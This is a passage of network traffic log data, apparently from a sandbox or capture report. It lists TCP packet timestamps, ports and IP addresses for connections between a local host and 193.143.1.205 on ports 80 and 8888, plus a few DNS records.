Jan 10, 2025 23:53:59.498925924 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498939991 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498954058 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498967886 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498991966 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.498992920 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.498992920 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.499005079 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499010086 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.499020100 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499037981 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499059916 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499073982 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499074936 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.499074936 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.499089003 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499104977 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499129057 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499140024 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.499140024 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.499166965 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499181986 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499197006 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499218941 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499233961 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.499233961 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499233961 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.499250889 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499267101 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499279976 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499301910 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499304056 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.499304056 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.499332905 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499344110 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.499356031 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499371052 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499386072 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499403954 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499418020 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499424934 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.499424934 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.499434948 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499450922 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499464035 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499479055 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.499486923 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499494076 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.499505043 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499521017 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499547958 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.499563932 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.499607086 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499625921 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499640942 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499655008 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499669075 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.499691963 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.499691963 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.503133059 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.531872034 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.531919003 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.531927109 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.531929970 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.531939030 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.531982899 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.531992912 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.531992912 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.531999111 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.532013893 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.532033920 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.532350063 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.532418966 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.550590992 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.550626993 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.550657034 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.550677061 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.550679922 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.550698042 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.550714016 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.550729990 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.550756931 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.550756931 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.550774097 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.550787926 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.550812006 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.550828934 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.550832987 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.550848961 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.550863028 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.550877094 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.550888062 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.550888062 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.550955057 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.551007032 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.551022053 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.551037073 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.551136017 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.551139116 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.551153898 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.551168919 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.551191092 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.551208019 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.551208019 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.569320917 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.584656000 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.584681988 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.584697962 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.584712029 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.584713936 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.584728956 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.584744930 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.584760904 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.584785938 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.584785938 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.584821939 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.584842920 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.584858894 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.584873915 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.584887981 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.584911108 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.584924936 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.584929943 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.584929943 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.584942102 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.584954977 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585000038 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.585000038 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.585342884 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585365057 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585378885 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585392952 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585402012 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.585407972 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585422993 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585437059 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585453987 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.585459948 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585474968 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585475922 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.585489988 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585516930 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.585520983 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585536003 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585541010 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.585551977 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585567951 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585585117 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585608006 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585608959 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.585608959 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.585629940 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585639954 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585654020 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585669041 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585678101 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.585685968 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585701942 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585716009 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585731030 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.585736036 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585751057 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585763931 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585782051 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.585782051 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.585786104 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585802078 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585823059 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585836887 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585850000 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.585850000 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.585851908 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585865974 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585880041 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585892916 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585915089 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585916042 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.585916042 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.585930109 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585932016 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.585946083 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585958958 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585980892 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.585982084 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.585995913 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586016893 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586030960 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586036921 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.586036921 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.586045980 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586060047 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586081028 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586091995 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.586091995 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.586097956 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586131096 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586144924 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586159945 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586174965 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586179018 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.586179018 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.586189032 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586205006 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586242914 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.586242914 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.586292982 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586314917 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586329937 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586343050 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586358070 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586370945 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586385012 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586385012 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.586385012 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.586405993 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586420059 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586433887 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586447954 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586453915 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.586453915 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.586462975 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586484909 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586492062 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.586500883 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586520910 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586535931 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586545944 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.586546898 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.586551905 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586571932 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.586601973 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.586644888 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.595592022 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.618736982 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.618755102 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.618778944 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.618793011 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.618818045 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.618829966 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.618833065 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.618829966 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.618849993 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.618865013 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.618906975 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.618906975 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.637376070 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.637430906 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.637440920 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.637451887 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.637465000 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.637480021 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.637485027 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.637496948 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.637507915 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.637521029 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.637542963 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.637542963 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.637566090 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.637725115 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.637734890 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.637753963 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.637770891 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.637788057 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.637793064 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.637799978 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.637811899 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.637823105 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.637835026 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.637854099 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.637854099 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.638214111 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.638276100 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.638278961 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.638289928 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.638314962 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.638319016 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.638329029 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.638339996 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.638350010 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.638360023 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.638374090 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.638379097 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.638406992 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.638432026 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.667114973 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.671442032 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.671461105 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.671480894 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.671492100 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.671505928 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.671518087 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.671530962 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.671544075 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.671544075 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.671585083 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.671806097 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.671816111 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.671822071 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.671859026 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.671869040 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.671880007 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.671891928 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.671900988 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.671900988 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.671942949 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.672004938 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.672014952 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.672027111 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.672038078 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.672048092 CET	80	49712	193.143.1.205	192.168.2.10
Jan 10, 2025 23:53:59.672076941 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.672076941 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.694554090 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.702495098 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:53:59.863676071 CET	49712	80	192.168.2.10	193.143.1.205
Jan 10, 2025 23:54:00.385592937 CET	49728	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 23:54:00.390621901 CET	8888	49728	193.143.1.205	192.168.2.10
Jan 10, 2025 23:54:00.390794039 CET	49728	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 23:54:00.391331911 CET	49728	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 23:54:00.396102905 CET	8888	49728	193.143.1.205	192.168.2.10
Jan 10, 2025 23:54:01.186366081 CET	8888	49728	193.143.1.205	192.168.2.10
Jan 10, 2025 23:54:01.227474928 CET	49728	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 23:54:02.798979044 CET	49728	8888	192.168.2.10	193.143.1.205
Jan 10, 2025 23:56:02.615835905 CET	64013	53	192.168.2.10	1.1.1.1
Jan 10, 2025 23:56:02.620702982 CET	53	64013	1.1.1.1	192.168.2.10
Jan 10, 2025 23:56:02.620779991 CET	64013	53	192.168.2.10	1.1.1.1
Jan 10, 2025 23:56:02.620826960 CET	64013	53	192.168.2.10	1.1.1.1
Jan 10, 2025 23:56:02.625576973 CET	53	64013	1.1.1.1	192.168.2.10
Jan 10, 2025 23:56:03.076430082 CET	53	64013	1.1.1.1	192.168.2.10
Jan 10, 2025 23:56:03.086375952 CET	64013	53	192.168.2.10	1.1.1.1
Jan 10, 2025 23:56:03.091406107 CET	53	64013	1.1.1.1	192.168.2.10
Jan 10, 2025 23:56:03.091481924 CET	64013	53	192.168.2.10	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:54:08.756380081 CET	65145	53	192.168.2.10	1.1.1.1
Jan 10, 2025 23:56:02.615164995 CET	53	59759	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 23:54:08.756380081 CET	192.168.2.10	1.1.1.1	0xc8ff	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
